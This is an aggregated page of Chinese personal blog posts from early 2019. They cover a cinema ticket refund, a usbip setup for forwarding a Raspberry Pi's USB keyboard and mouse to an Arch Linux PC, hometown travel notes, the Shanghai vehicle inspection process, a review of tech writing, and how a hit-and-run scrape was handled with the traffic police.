年前就跟媳妇说《流浪地球》肯定好看,于是初一就来订票,看初三晚上的,因为初一初二很忙嘛,也顾不上,电影院人也多,媳妇就在淘票票上搜索来着,淘票票这个有点问题,它定位只能到地级市,我们小县城并不能被单独定位出来,所以下面院线是湖州三县两区排一起的,需要在下面结果里面选影院。选对了影院,可是没有好位置了,都是边边角角的位置,上次被大黄蜂那个边角位置坑怕了,所以让媳妇果断选初四的,然后倒回去选日期,然后系统把默认的影院给重置了,变成里排名最前面的南浔的一家影院,然后看也没看,就付了钱,等收到确认短信后,傻眼了,票买在了100公里开外的湖州最东边,我可是在湖州最西边呀。赶紧进淘票票,发现这个还不能退不能改。只好先致电支付宝,支付宝提供了一个淘票票的客服电话,告知经过,软件为啥会自动重置选择的影院,淘票票客服还不错,答应先帮我们跟影院联系,看看能不能人工退票,毕竟跑100公里开外去看电影是件不现实的事情。结果算是惊喜,淘票票客服说已经协商好可以退票,并且补了一张15元的购票券给我们,似乎这有点受之有愧。妥妥的给客服五星好评。


看对的电影

经过重新购票,初四来到影院,影评就不写了,打小写作文最讨厌写观后感之类的题材。流浪地球的前半截剧情有点割断,据说是以为排片问题做了30分钟以上的删减。正好,这次娃儿看电影前半截有点闹,一会儿要上厕所,两会儿要上厕所,生物钟也是被这个春节给倒腾乱了。媳妇不辞辛苦的带着她跑了两趟卫生间,所以前半截正好她也错过了,事后问我前半截说的啥,我也没答出过一二三来。这几天看舆论上关于流浪地球的口碑吵翻了,豆瓣上那些诸如看到吴京就一星的,没看片就一星的,看到中国人拯救世界就一星的,尼玛让你爱个国就这么难?你Y天生就生了一副反骨?看着就挫气,算了,林子大了,什么鸟都有,这也是为啥中华五千年,无论哪个朝代总有奸臣总有逆子。

3.jpg


人生第一个十万公里

回上海的路上,不知不觉,发现破车已经被我开了十万公里了,刨去开其它车的里程,这算是一个明确的数据了,从此脱离新手行列,所谓三年新手司机,六年夹生司机,时间里程双重达标,开始进入老司机行列了,见的车祸多了,开车是越来越慢了,码表指针很久就超过130了。想一想,人生还有很多事没完成,特别是娃儿还没长大成人,真是碰了撞了还害了别人,三十多年来第一次如此这般的怕死。

4.jpg


最后,开工几天了,大家也都陆续开工了,祝大家新年工作顺利!

by 西枫里 at February 13, 2019 07:18 AM

February 06, 2019

farseerfc

用 usbip 轉發 raspberry pi 的 USB 鍵盤鼠標給 Arch Linux 的 PC

惠狐 megumifox 寫了篇 用PulseAudio將電腦的聲音用手機放出來 ,文末提到想知道我怎麼用樹莓派轉發 USB 的,於是寫篇文章記錄一下。

起因

家裏有個裝了 Arch Linux ARM 的樹莓派3B 閒置着,裝了 Arch Linux ARM 偶爾上電更新一下, 不過因爲性能實在不適合做別的事情於是一直在吃灰。某日 給老婆安利幻想萬華鏡和老婆看片 的時候, 老婆不吃安利於是遷怒鍵盤鼠標鍵盤鼠標被長長的 USB 線扯着感覺很難受 ,於是偶發奇想,能不能利用一下樹莓派的多達 4 個 USB 2.0 端口接鼠標鍵盤呢, 這樣鼠標鍵盤就可以跟着樹莓派來回走,不用拖着長長的 USB 線了。

上網搜了一下, Linux 環境有個 usbip 工具正好能做到這個。原理也很直觀, usbip 能把 USB 端口上的數據封裝成 IP 協議通過網絡轉發出去,從而兩個網絡間相互聯通的電腦就可以遠程轉發 USB 了。 設置好的話,就像是一臺 PC 多了幾個位於樹莓派上的 USB 端口,插上樹莓派的 USB 設備統統作爲 PC 的設備。

這篇文章假設有一個裝了 Arch Linux 的 PC ,和一個裝了 Arch Linux ARM 的樹莓派, 並且兩者間能通過網絡互相訪問到。別的發行版上大概也可以這麼做,只是我沒有試過。 usbip 工具似乎普遍被發行版打包了,除此之外需要的也只是 Linux 內核提供好的功能而已。

設置 Arch Linux ARM 的樹莓派端

假設樹莓派上面網絡已經設置妥當,開機插電就能自動聯網。接下來安裝 usbip 工具:

$ sudo pacman -Syu usbip

然後需要記錄一下樹莓派的 IP 地址:

$ ip addr
3: wlan0: ......
inet 192.168.0.117/24 brd 192.168.0.255 scope global noprefixroute wlan0
......

接下來給 udev 添加一個規則,當插入 usb 設備的時候,執行我的腳本 usbipall.sh 把 usb 設備通過 usbip 共享出去:

$ cat /etc/udev/rules.d/usbipall.rules
ACTION=="add", SUBSYSTEM=="usb", RUN+="/usr/bin/bash /usr/local/bin/usbipall.sh"

這個 rules 文件 可以在我的 dotfiles 裏面找到

然後規則調用的 usbipall.sh 我這麼寫的, 文件同樣在我的 dotfiles 裏面

#!/bin/sh
(
allusb=$(usbip list -p -l)
for usb in $allusb
do
    busid=$(echo "$usb" | sed "s|#.*||g;s|busid=||g")
    if [ "$busid" = "1-1.1" ]
    then
        # ignoring usb ethernet
        continue
    fi
    echo "$(date -Iseconds): Exporting $busid"
    usbip bind --busid="$busid"
done
) >>/var/log/usbipall.log 2>&1

這個腳本做了這樣幾件事。

  1. 調用 usbip list --local 列出本地所有 usb 設備。
  2. 針對每個設備
    1. 取出它的 busid
    2. 判斷是不是樹莓派的 USB 以太網卡,不是的話繼續
    3. 通過 usbip bind --busid= 命令把這個 usb 設備導出到網上
  3. 最後把所有輸出記錄到 /var/log/usbipall.log 日誌裏面

樹莓派這邊設置就完成了。從此之後插入的 usb 設備就會統統導出出去。

這裏需要注意一下,啓用了 udev 規則之後,就沒法插鍵盤鼠標到樹莓派上控制它了……我都是從另一端 ssh 上樹莓派操作的。如果有什麼地方設置錯誤,可能需要把樹莓派的 SD 卡拔下來插到電腦上,刪除掉 rules 文件……

仔細檢查設置正確了之後,重新載入 udev 規則,或者重啓樹莓派:

# systemctl restart systemd-udevd

這樣樹莓派這邊就設置好了。

設置 Arch Linux 的 PC 端

同樣假設 PC 這邊也已經聯網。接下來同樣安裝 usbip 工具:

$ sudo pacman -Syu usbip

然後我寫了個小腳本去鏈接樹莓派端, 這個文件 usbiprpi3.sh 也在我的 dotfiles

#!/bin/sh
rpi3="192.168.0.117"

modprobe vhci-hcd

allusb=$(usbip list -p -r $rpi3 | cut -d":" -f1 -s | sed 's|^[ \t]*||;/^$/d')
for busid in $allusb
do
    if [ "$busid" = "1-1.1" ]
    then
        # ignoring usb ethernet
        continue
    fi
    echo "Attaching $busid"
    usbip attach --remote=$rpi3 --busid="$busid"
done

其中腳本第一行填入上面記錄下來的樹莓派的 IP 地址,接下來腳本做了這麼幾件事:

  1. 用 modprobe 確認加載 vhci-hcd 通用虛擬鍵鼠驅動
  2. usbip list --remote= 列出遠程設備上已經導出了的 USB 設備,取出他們的 busid
  3. 對每個設備用 usbip attach 接上該設備

然後就已經準備妥當,接下來是見證奇蹟的時刻:

$ sleep 10; sudo ./usbiprpi3.sh
Attaching 1-1.4.3
Attaching 1-1.4.1

因爲只有一套鍵盤鼠標,所以先 sleep 個 10 秒,在此期間快速把鍵鼠拔下來插到樹莓派的 USB 口上去。 如果對自己手速沒自信也可以把時間設長一點。然後用 root 權限執行 usbiprpi3.sh 。

一切正常的話,先能觀測插上樹莓派的鍵盤鼠標被樹莓派初始化了一下,比如鍵盤燈會亮, 然後這些設備會被導出出去,從而鍵盤燈滅掉,然後 10 秒等待結束後他們被遠程接到了 PC 端, 又會被初始化一下,同時 PC 端這邊會有上述 Attaching 的輸出。然後鍵盤鼠標就能像平常一樣用啦。

使用體驗

因爲就是通過 IP 轉發 USB 嘛,所以就和普通地接 USB 的體驗差不多,當然前提是網絡環境足夠穩定。 在我家間隔 5 米到無線路由器的環境下,基本感覺不到網絡延遲的影響。 通過這種方式聊天上網應該和直接接 USB 設備完全一樣。本文就是在通過樹莓派轉發的前提下用鍵盤打字寫的。

不過如果網絡負載本身就很大的話,可能會一些延遲,比如我開着 OBS 直播打東方的時候,原本就手殘 的我感覺更加手殘了……

試過拿着樹莓派在房間到處走,走到無線信號覆蓋不到的地方, usbip 會斷掉,PC 上的現象就像是 USB 設備被拔下來了……所以如果無線網絡不穩的話,可能需要對上面腳本做個循環?不過那樣可能會用起來很彆扭吧。

以及,上述操作 usbip 是走 TCP 3240 端口,數據包大概完全沒有加密,所以考慮安全性的話, 最好還是在內網環境使用。不過轉念一想,萬一有別人接上了我導出出去的 USB ,也就是截獲我的鍵盤, PC 這邊沒法 attach 設備了,應該馬上會發現吧。我敲打 sudo 之類命令的時候 shell 裏面沒有回顯, 就不會再繼續敲密碼了。而且似乎對攻擊者也沒有什麼好處?要是他 usb attach 到了我的設備上, 我就能控制他的鍵盤了耶~

by farseerfc at February 06, 2019 05:14 PM

pythoncat

春节回乡随记

大年初一,跟豌豆去县里逛街。在逛完街回家的路上,我无意中注意到路边的横幅,突然兴起来一股念头,要把这几天的见闻以及一些杂乱所思记录下来。随记,随记,随意想,随意记,想到哪里,写哪里罢。
(1)横幅
从县里回家,路程大概 60 公里。公共汽车途经某一两个镇的时候,路边隔两三百米就有一条横幅,它们的标语几乎不重样,但表述的却是相同的主题,这就挺有意思了。车经过得快,有些标语我没来得及记下来,大部分关键的信息如下:“打造诚信电白”、“打击诈骗”、“举报电信诈骗”、“诈骗害人害己”、“诈骗钱财可耻”。
要说电白有啥“特产”,诈骗(曾经?)绝对算一个,这些标语确实事出有因。不过也有一条横幅写道“拒绝陌生来电”云云,看来,施害者之中也有受害者啊。除了这些地方特色的横幅,路边还有很多普世的横幅,如“扫黑除恶”、“交通安全”、“青山绿水”、“欢迎回乡”等等。
在我们县或乡镇里,我印象中就没看到过刷墙标语(除了特殊年代的字迹已淡化的),反而是这些横幅是无处不在。横幅文化也是这里的“特产”:看横幅,察时情。
等回到了镇上,我也注意到了我们镇的特色——“枪支弹药”、“上报枪支”…曾经听妈妈讲起一些只言片语,我只当传闻,而如今审视,细思极恐。
(2)车内标语
我也注意到公共汽车内的标语,其地方特色程度跟横幅相比,不相上下。因为有图为证,我可以把完整的内容摘录于此:“普及禁毒常识,提高禁毒意识”、“全区动员,扫除毒害”、“毒品一日不绝,禁毒一日不止”。仅仅在去程与回程的车上就出现这三条标语,背后意义不消多言。
(3)公共汽车
在很长很长的一段时间里,我们镇没有正式的汽车站,而在镇政府门口前的一小片空地不知怎么地就承担起了这个角色。今年,终于换了个地方建了个挂着牌子的潦潦草草的车站:纯露天、目测最多三个车位。
硬件设施几乎无改善,而“软件”方面有大进步——微信扫码付款已全面普及,只需注册“乘车码”小程序,即可出示二维码支付。这项技术大概是初普及,因为在去程的车上有提示,说司机收车款属贪污行为,末尾还留了举报电话;去程车上没有售票员,我刚以为无人售票终于普及了,然而回程车上就出现了“撕票员”——她也不敢收钱,仍是要乘客刷二维码或投钱(我们这地方完全不使用硬币),由此看来,她已经不算是“售票员”了,不过,她帮一个乘客找了零钱,还给每个人按车费撕了一张车票,所以,严格来说,不就是“找零兼撕票员”嘛。
从镇上到县里,单人 14 元,这物价跟前几年相比,好像是一致的。豌豆正在翻看我初中时候的日记,那时候我记下的车费是 9 元,一晃 14 年了,车费追平了时间。车费是分段计算的,我注意到,司机有一个输入价格的小东西,就跟我们在商场购物时输入银行卡密码的输入器相似,由此控制着扫码器的价格,来相应地扣费。
去程车上有 15 个座,司机一直在数着空位,好像是在防着超载,而刚好满载之后,半途有人招手(可以非站点上下车),他就挥手致意,并不停车揽客。中途某处,竟然有交警设岗,还有武警在场,他们检查了没有超载,而司机还下了车去,似乎测了是否酒驾。对于测酒驾,我能解释它是春节期间的临时项目,而为何不允许超载,我就无法理解了,想来也是临时项目的可能性较大。
(4)日记本
豌豆清点了我的藏品,找出来 6 本日记。
从六年级开始,我努力培养记日记的习惯,这些就是我六年级和初中时期的日记。按照一个学期一本的用度,这四年里,我应该写下了 8 本,现在却只有 6 本。初三第二学期的日记是缺失了,另外缺失的时段还不可知,因为我完全不记得这几本密码本的密码了,有两本得要再暴力破解才行。
高中时期,我也在记日记,只不过并不是每日都记,加上那个本子较大,所以三年都写在了一起。到了大学的时候,环境大变,我已想不起确切的原因了,记日记的习惯断裂了,所以日记本是完全没用过了。
(5)遗忘的事
豌豆读完了我初二(下)与初三(上)的日记。在她看来,很多事情挺有意思,而我呢,反倒因为觉得幼稚而不好意思。
那段时间,记事内容较多,无非是跟哪些同学聊天或者游戏之类、记录学习的事、记录开支花销的事,等等。有些事,一念完日记,我就想起来了,还有些事,我是完全没印象。流水账日记的细节密度低,没能激活我的记忆库。
虽然借助日记,我忆起来一些事,可是所记录的还是太少,更多的不曾着墨的事和情全都湮灭了。记录的事可以唤醒一些尘封的记忆,同时也在提醒着,它所忽略掉的事,可能永远会被遗忘。
(6)交换日记
在豌豆津津有味地翻读日记,而接入到我的过去(同学关系、心路历程、家庭关系)的时候,我突然想到了一个有意思的素材。
想象一下,你仔细记录了很多的日记,把年少的自己就这样锚定在那段时光里,然后,你找到了自己的另一半,她也做了同样的事,接着你们交换日记,相互就得以穿越回彼此的过去,你们在一个浪漫的环境里分享那些点点滴滴的喜怒哀愁,这会是多美好的一副图景啊。
(7)放牛娃
我多次给豌豆讲起过我童/少年时候的事,比如说上山放牛。前天在去小姑姑家的路上,我们极其偶然地看到了几只黄牛,所以又说起这个事来。
大概在二年级和往前两三年里,我和二弟跟着村里的三四个人去放牛。我们养的都是山牛(即黄牛),需要真正地上山放牛,有时候还会翻山越岭去到挺远的地方(在那时候看来真的挺远了)。
仔细想想,我能打捞起不少有趣的事情来。或许今后能专门写一篇文章呢。
而现在,我只想说说这段经历的意义。这是一段独特的经历,在与我相熟的小学同学里,没有人有过这样的经历。似乎从那时起,我就因自己的独特而在人群中变得独立,变得不走寻常路。在中学的一些日记里能看出,我的想要上进的念想一直在发酵,而早年山野间的种种自然感受也一直在浸染着我。
当怀着感恩的心回头品味,我发现放牛经历和记日记经历,竟然都是我不可或缺的宝贵财富。经历、记忆、再加内省,这样慢慢才推动了我成为可能成为的人。
(8)朋友圈与同学圈
所谓朋友圈,就是一个每逢佳节倍热闹的地方。
豌豆说起一个“中国折叠”的话题,挺有意思,我得敦促着她写下来。
由于求学和工作远,我跟中小学的同学圈联系并不紧(大学就更不要说了)。加上其它原因,今年的聚会邀约是去不成了。
五年前的高中同学聚会上,我们给五年后的自己写了一封信,写下愿望和计划之类的,今年大概会拆旧信写新信吧。我记不清写了两条还是三条,现在第一条完成得挺好,后面的则仍是“革命尚未成功”。就请班长继续保管着信吧,下一个五年的时候,我再来认领。
(9)亲友圈
前面说到过几个“地方特产”,这里还要说一个,那就是生育孩子。
我父亲这边共有兄弟姐妹 5 个,妈妈那边是 4 个,他们以相近的编制数目生育下一代。我得小心数数,才能算清自己有多少表兄弟姐妹。这还不算,我的表姐表哥们的岁数都比我大挺多,他们仍以相差无几的数目生育小孩,所以我完全搞不清楚自己有多少个表外甥。
今天得知,我有一个外甥刚生完二胎,有两个外甥计划了今年结婚(一个就定在年初十),还有几个已经是待嫁待娶的年纪。嗯,真是一个好大的、正在裂变壮大的亲友圈啊。
这几天,我没少被问啥时候生小孩。我一致回复:没计划好呢。其实,虽然时间节点还没确定,但是我只会给两个选择:要么一个都不生,要么只生一个(双胞胎除外)。关于这个话题,以后有机会再多写写。
(10)小孩
昨天,二堂哥说要给几个小孩拍照。所谓小孩,就是我的两个堂哥和一个堂姐的小孩,共有 7 个。
二堂哥翻出旧照片,指着说着,这是五个的时候,这是六个的时候,现在是七个的了。我是看着她/他们长大的,抱过也一起玩过,现在她/他们最大的已经念初三了。这几年匆匆见过的几面,完全无法抹去我记忆中她们小小年纪时候的模样。记忆始终停留,是时候告诉自己,得要刷新一下了。
现在我的身份是给小孩发红包的大人,表面上看,这个转变已经顺遂自然,其实内心里,我跟当初等着大人发红包的小孩,又能相差多少呢?
我还没有适应那几个小孩已经长大的事实,反讽的是,却发现自己并没有长大的心态。
我仍很怀念这些小孩最天真美好的年代,观望未来,就隐隐现出一种失控感。
几个小孩中最小的正在上学前班。我们与她存在着最自然的、纯朴的亲近联系。我们送给她一个小猪佩奇的布偶,她兴奋得意的样子,实在是可爱。
(11)玩具
看到侄子跟外甥拿着玩具枪,我就跟豌豆聊起自己的玩具来。
大概在二三年级之前,我们小孩拿到红包的第一件事就是去买玩具枪。那是一种气枪,通过空气压缩原理发射子弹,子弹是塑料的,枪型从小马哥的手枪到狙击手的带瞄准器的步枪都有。
我们一个村里的小孩组队枪战,风风火火吵吵闹闹上蹿下跳;又或者三两人对着香蕉叶、对着香蕉树干,比拼枪法和破坏力;又或者是寻觅着果树上的梨椿象和龙眼鸡(学名长鼻蜡蝉。竟然可以搜到它的名字),为民除害行侠仗义。
现在的玩具已经不是这样的了。
(12)游玩
想带豌豆回母校转转,然而校门紧闭,不能如愿。
去了海边,吹海风、观海浪、踏海沙、踢海水、捡贝壳,也算是如了愿。
逛街,竟找不到合适的伴手礼。在宣传栏上写到,我们是沉香之乡。说实话,难道这不是最近几年才突然造出来的名头么,而且差不多就仅限在跟我们镇相邻的另一个镇上?另外,所谓“中国第一滩”,好不威风的名字啊,却空有其名。
(13)火车
我们镇已通高铁半年了,然而我们是一张票都没抢到。
交通是个麻烦事。我们的路线是这样的:苏州—>上海—>广州—>马踏镇。这中间三趟车的断裂,造成出行的极大麻烦,出发时间太早不行,到达时间太晚也不理想。这最后一环如果能用高铁衔接上,或者优化减少一环,那就太好了。
去年没用购票APP的加速包,没有抢到票,今年用了,却没买到最优的组合。明年会怎样?或者说,几年后会怎样?喵,谁知道呢,不过总体上是会越来越好的,对吧?
——2019.02.06

February 06, 2019 12:00 AM

February 03, 2019

anji66

在上海外地牌照车辆异地年检流程

狗年最后一更,提前给大家拜年了,首先祝大家春节快乐,猪年大吉。这里要说的异地年检不单指满六年需要上检测线的车,同样6年以内的,无需上检测线的也可以在异地办理年检,申领年检合格标志。我的车还算运气好,刚买的那会儿遇上了6年免检,直接2年一换合格标就好,满6年又遇上可以直接异地年审,着实方便了不少。这次年检之前,我打了一下嘉定车管所的电话,确定了一下政策的准确性,被告知只要就近找检测点就可以了,百度一下离我最近的封浜检测站不足4公里。

2020年年审经历已更新:《第二次办理车辆异地年审》。

首先准备好年检材料

年检需要带好你的驾驶证,行驶证,有效期内的交强险原件(副本),三角牌。去年检之前记得查一下自己的违章,违章需要先去处理掉。然后自行检查一下车辆灯光和刹车。我就是因为有个远光和刹车灯不亮导致耽误了点时间。说来也巧,上次打算去年检之前,刻意检查了一下,灯光和刹车都没问题,可是赶上了上海交警的机房搬迁,没办成,时隔一礼拜再去年检,远光爆了一个,刹车灯也爆了一个,悲催。


一、车辆尾气检测

到了检测站,直接开到小型车车辆尾气检测线上,到旁边小窗口取一个排放等级确认告知单,然后等排队轮到自己即可。检测员让你不要熄火,打开引擎盖。他们会在排气管上插一个检测棒,然后稳定油门在2500转持续数分钟,直到检测机上数据完成即可。然后会取得一个机动车排放污染物检测报告,一般私家车基本都会合格的吧,如果不合格需要去修理,八成是三元催化坏了。

2.jpg

1.jpg

3.jpg


二、车辆外观检测

从尾气检测线出来,到外观检测线,会拿出三角牌在车辆尾部进行拍照,车辆外观检查,主要是不能有占比过大的贴纸和拉花和更严重的擅自改色,如果占比过大的话会被要求去除后再来。然后就是查看灯光是否有不亮的情况。我就是因为两个灯泡烧了,去修了再次检测的。


三、安全性能检测

检测员会将你的车开到性能检测线上,分别测试前后轮制动性能,底盘检查。如果没有问题开到检测线最后部分会有一个灯光亮度检查,全部检测完成后会取得一个机动车安全技术检测报告。对了,如果你的刹车性能不合格,将会有点麻烦,先去修刹车,还不能换刹车片,如果换了刹车片,铁定不过,因为刹车片没有经过一定里程的磨合,刹车片和刹车盘之间的摩擦性能肯定无法达到检测标准。所以,如果你的刹车片比较薄的话,记得提前一点时间换掉。

4.jpg


四、缴费领取检测合格标志

拿到上述两个报告后,去大厅缴费窗口缴费,我这里是250块钱,然后去登记审核窗口交材料,需要把交强险副本和检车报告及行驶证提供给窗口,这里,我遇到了需要补拍照片的情况,其实我没搞懂这照片是干嘛的,一个是车辆前后的全景照,一个是驾驶位,放下车窗,手拉安全带的照片。补录照片后,就等着监测站将相关数据上传的车辆管理所,等车管所审核,审核通过后,就会核发年检合格标和打印行驶证有效检验日期了。对了,现在无需单独申领环保标志了,已经和年检合格标志合并了。

6.jpg

5.jpg


至此,全流程就办妥了,如果车辆没有太多问题,建议不要找黄牛,不能助长歪风邪气,并且现在检测站也不敢明目张胆让黄牛代办了,现在动不动就录音录像,传到有关部门,都是吃不了兜着走的事。好了,流程足够简单了吧,最后再次祝大家春节快乐!

by 西枫里 at February 03, 2019 04:28 PM

pythoncat

四个月技术写作,我写了些什么?

从去年国庆节开始,我连续更新了 4 个月公众号,累计发布原创文章 40 篇。
按照大多数个人订阅号的优良传统,号主应该在跨年的前后作年终总结。然而,一来我反应比较迟钝,没跟上节奏,二来当时我正在写比较重要的系列,没时间分心,所以还是慢了半拍。
现在,创作出现了空档期,而身体也出现一种魔幻性的跨移——从几千里外的城市回到分别了几百天的农村。这仿佛就在营造一种仪式感,逼使我要把这未完成的任务做个了结。
因此,现在我就来梳理梳理写出来的东西,说说我的想法吧。

1、Python猫的故事

这是我的主打系列,故事的主角是一只来自外太星(喵星)的猫。它外貌长什么样,我还没想好,你可以叠加所有猫的形象上去,这就是它的样子。
然而,它绝不是一种固定形态的物种。编程语言(Python为主)、人类文化(文学+哲学)、人工智能、前沿科学(生物+量子物理)和幻想相交合,这些东西都会是我的灵感,也会是塑造这只猫的原力。
我们认识周遭世界的过程是一种逐步扩大的过程,从点到线,到理得清的网,再到真正的网。一只作为讲述者的猫,在思考,在探知并试图融入陌生的星球的时候,会发生些什么认知层面上的结果呢?
我有很多朦胧的念头。想要完全落实它们,简直不可能。有些东西就是说不清。
不过,有了开端,有了大致的方向,就总是有了提起“笔”写下去的动机。

2、Python进阶之路

我接触 Python 的时间并不长,在工作中用到它的时间就更短了。
因为清楚地意识到自己的基础并不扎实,所以,几个月以来,我花了不少时间系统性地学习了一些内容。
写作前,搜集资料,查漏补缺;写作中,发散思考,融会贯通;发布后,聆听反馈,修正错误。
时间过得真快,现在能拿得出手的也就仅仅是字符串系列、切片系列和迭代器系列了。我计划继续花些时间,把重要的知识梳理一遍。
通过这个系列的写作,我想驱动自己走出一条 Python 进阶之路。然后以它为基础,再进行其它领域(爬虫、数据分析、深度学习、?)的转向。
在准备生成器系列的时候,我一时起了翻译 PEP 的念头,就开启了翻译 PEP 的系列。现在试水了两篇生成器相关的,年后还会翻译一篇。关于翻译,我有一些想法,今后再细说。
这个系列的一些内容,其实是在给 Python 猫系列打基础做铺垫。今后,我会避免两个系列的内容重叠,也不让它们失衡,因此会想办法给 Python猫 系列留下足够的写作余地。

3、荐书系列

关于荐书系列,我是受到了经常阅读的一些电影公众号的启发。
如果有一部好电影,大家就会花很长篇幅去推介它,去评论它,去宣传它。对于一些非技术类的书籍,也很可能有此待遇。
可是,我们却不怎么见到技术类书籍是这样的吧?除去出版社、作者和利益相关机构,你几乎看不到有人为一本技术书籍写书评(写笔记、画思维导图的倒是挺多)。
于是,我决定来尝试一下。有几篇,我特意提到了豆瓣评分和评论,现在看来模仿的痕迹太重,这类玩意对技术类书籍来说,真不合适。纯探索阶段,希望今后能拿出更好的作品。
这个系列,主要还有一个考虑:促使我自己去阅读,逼着自己学会总结归纳,多产生一些积累。
  1. 编写高质量代码改善 Python 程序的 91 个建议
  2. Python最佳实践指南
  3. 黑客与画家
  4. Python源码剖析
  5. Python高性能编程

4、杂七杂八

这部分内容也是跟技术息息相关的,例如 Python社区动态、技术写作、编程思想、技术翻译等等。
其中,关于社区治理模式投票的几篇文章,我最初以为是个热点,但后来意识到,真的没有多少人关心。(我该怀疑自己的关注点呢,还是怀疑别人?)
值得庆幸的是,有篇文章被两位圈内大佬转载了!我乐了好久。这里就不提名字了,总之他们是我初学 Python 时就很佩服的人,因为看了他们的一些文章,我才动了写技术文章的念头。
关于技术写作和翻译,我初见门道,今后还会多作总结分享。

5、写在最后

我承认自己是一个不擅运营的人,虽然为了提升公众号的订阅数与阅读数,也做过一些运营的尝试,但是,跟圈内的很多号主相比,差得可不止一丝半点。
四个月以来,我结识了很多技术写作的号主,他们有些人创号不久,但不仅技术扎实,而且抓选题、抓热点和写作风格都极其出色,很快就成为了“当红炸子鸡”;还有的大佬,持续耕耘了几年,坐拥数十万粉丝,立品牌、出书、出课程、开知识付费、开公司,替技术人走出了一条名利双收的榜样之路。
他们令我羡慕。他们皆有值得我学习取经的优点。不过我也知道,坚持自己的原则、发展自己的特色更为重要。做人也好,写公众号也好,循着自己的本心与节奏,才不至于走歪了路。
所以,在以上几个系列的写作方向上,我仍会继续坚持,沉下心来学习,思考和分享。这个阶段性的小结,既是一个交代,也是新的开端。

February 03, 2019 12:00 AM

January 29, 2019

anji66

两车剐蹭事故,对方逃逸怎么办?

没过年,今年就不算翻篇,最近运气差,回家路上还能被个二货给撞了。我下班从崧泽高架往嘉闵高架嘉定方向去,对方从崧泽高架往嘉闵高架闵行方向去,在匝道口,对方走在第一车道,我在第二车道,我车速比他快,在岔道的时候,正在超车,理论上对方应该早早的在距离匝道口150米处就应该变到第二车道,到了匝道口可以顺利右转,这货到了匝道口发现走错道了,不看反光镜直接打灯变道,我正在超车,一顿喇叭加油门顺道打了点方向让点位置,还是被二货把我后保险杠给撞上了,要不是那脚油门,得直接撞我整个侧面了,损失就大了。


等我超过他,发现我车身一晃,完犊子了,被对方刮到了,我就刹车停下了,二货在蹭了我以后完成了变道,结果直接右转道走了,留我自己在现场,妈的昏黄的路灯下也没看清车牌,只好打开双闪,后备箱找出三角牌,放好,打110,报警,简单描述下经过和具体位置,等出警,然后青浦的交警打电话过来问具体位置,因为这个地方正好青浦闵行交界的位置,描述了一下具体位置,挂了电话,闵行的交警打电话过来,再次重复了下事情经过和具体位置,告知我等在原地,交警马上过来,寒风中又等了5分钟,不见交警来,倒是又等来一通电话,告知我情况以记录,对方也不在现场,让我自行撤离现场,明天去闵行交警支队去处理。挂完电话匆匆收拾完就回家了。


到家后,第一件事就是讲行车记录仪的视频拷贝出来,导到电脑上,放大看车牌,不过盯盯拍的夜视效果并不好,应该说所有行车记录仪的夜视效果都不好,只能看清,大概是个银色的沪C*****的面包车,具体车牌就不写了,反复回看了下视频,确定自己无责。第二天请了半天假,去了漕宝路2008号的闵行交警支队。等开门后,填了自诉表,复印了交强险保单,驾驶证,行驶证。交到窗口,事情经过都没描述,大概是头一天晚上交警已记录过问题,也都没问我。告知处理的交警,对方逃逸,经过我查看行车记录仪视频是沪C*****这个车牌,最后一个字符不敢确定,交警说如果你的行车记录仪看不清楚,你也别指望高架上的监控能看清。经过交警在车辆库中查询,没发现这个车牌的车辆,再次打开视频,并请7P群里的小伙伴帮再次确认了下车牌,遴选了几组可能的车牌信息,经过比对,找到符合的车辆。交警说,90%就是他。然后就是交警给对方打电话,根据登记的电话信息,三个号码,有两个停机的,一个号码打通,没人接听。让我在边上等待过会儿再打,大概过了个把小时,还是没联系上。


这时候我只能请教交警后续该如何处理,万一对方一直联系不上,重点来了,交警告知,如果对方始终无法联系上,那么警方将会向对方的登记地址寄送法律文书(具体文件名没问,大概就是一个告知函之类的),如果对方接到警方文书,或者未送达,自警方寄送之日起,10日后,可以向警方查询。按照交警的工作规范,会直接认定为对方肇事逃逸,通知无责方来交警指定的评估机构进行车损评估(非保险公司定损),取得评估结果后,无责方可以向法院提起民事诉讼,追求对方的法律责任,同时警方会对对方驾驶证记12分并处罚金的处罚。


聊天的过程中,我开玩笑说,这似乎有法律漏洞啊,我们这种外地牌照,反正你们视频看不清,那我跑外地了,怎么办,交警说除了视频监控还可以调取安全卡口的视频,在合理时间段可能能排查出来,查出来后等文书会寄送到户籍地,通过两地联动,如果拒不配合的话,可能会被吊销驾驶证,将来重考驾驶证并不容易,还要来交警队接受其它方面的处理。法院判决肇事逃逸,还可能会影响到征信等问题,所以漏洞是不会有漏洞的,就是一件小事的处理代价比较大而已。


交警毕竟是用办公固定电话打的,有可能对方不接,我就向交警要来了对方手机号,我自己打,交警说上海本地人,一般打通都会来处理的,能联系上尽量联系。让我先发短信告知对方交警通知他来处理交通事故。然后尝试电话联系。我大概打了数个电话,又过了一个小时,终于打通了,电话甫一接通,我是没客气的就说你肇事逃逸,对方鸡鸡鸭鸭的说什么逃逸,然后我把电话给了交警,交警问了对方某某时间是否经过某某地方,待对方承认后,交警说你撞了别人逃逸,经过视频查证就是他。然后对方说我不知道啊,没撞到别人啊,交警说可以,我们就当你不知道,如果你知道撞了还跑掉就直接定逃逸责任了,现在我们就当你不知道,你现在去看下你的车右前位置是否有擦痕,然后过了会儿打电话过来,说确实有擦痕,问怎么办,交警说,你现在需要取得对方的谅解,配合对方把事故处理掉。他就问我,我想怎么处理这个事,我说怎么处理,你现在来交警队啊,该怎么处理怎么处理,对方说今天没空诶,我说行啊,我后面也没空,我就跟交警说追究你责任好了,对方思考再三说他马上过来,路程有点远,要点时间。好,我等。


差不多在交警中午临下班时刻,对方赶到了,交警说,事故不大,你变道撞了别人,你全责,他无责。你逃逸,现在对方比较好说话,也没要求警方追究你逃逸责任,现在开具事故责任单,你是否同意,你要不同意,那就出具你逃逸的责任认定。逃逸造成的损失,是进不了保险的。同意的话,全责责任可以走你的保险。拿到责任单后,马上给你保险公司打电话说交警责任已经订好了,你们自己协商去定损修车就好了。


事情到这里也就差不多了,对方平安保险,打了通电话,对方定损员估计也忙,说走快速理赔通道吧,用APP传了车损位置照片,驾驶证行驶证资料什么的,告知三天左右理赔金会下来,我的车定损500块钱,我也没异议,就保险杠一个面的油漆吗,差不多市场价400块钱的样子,定损500,我修车也够了,只是耽误了我的时间,请了半天假,扣的工资差不多都够这数了,算了,认倒霉吧,待离去的时候,对方说微信没钱,等保险公司把钱打给他后再转我,我也就好说话,说行,那就这样吧,基于对人的基本信任和与人方便自己方便的原则,甚至连对方欠条都没打就放对方走了,就加了个微信。


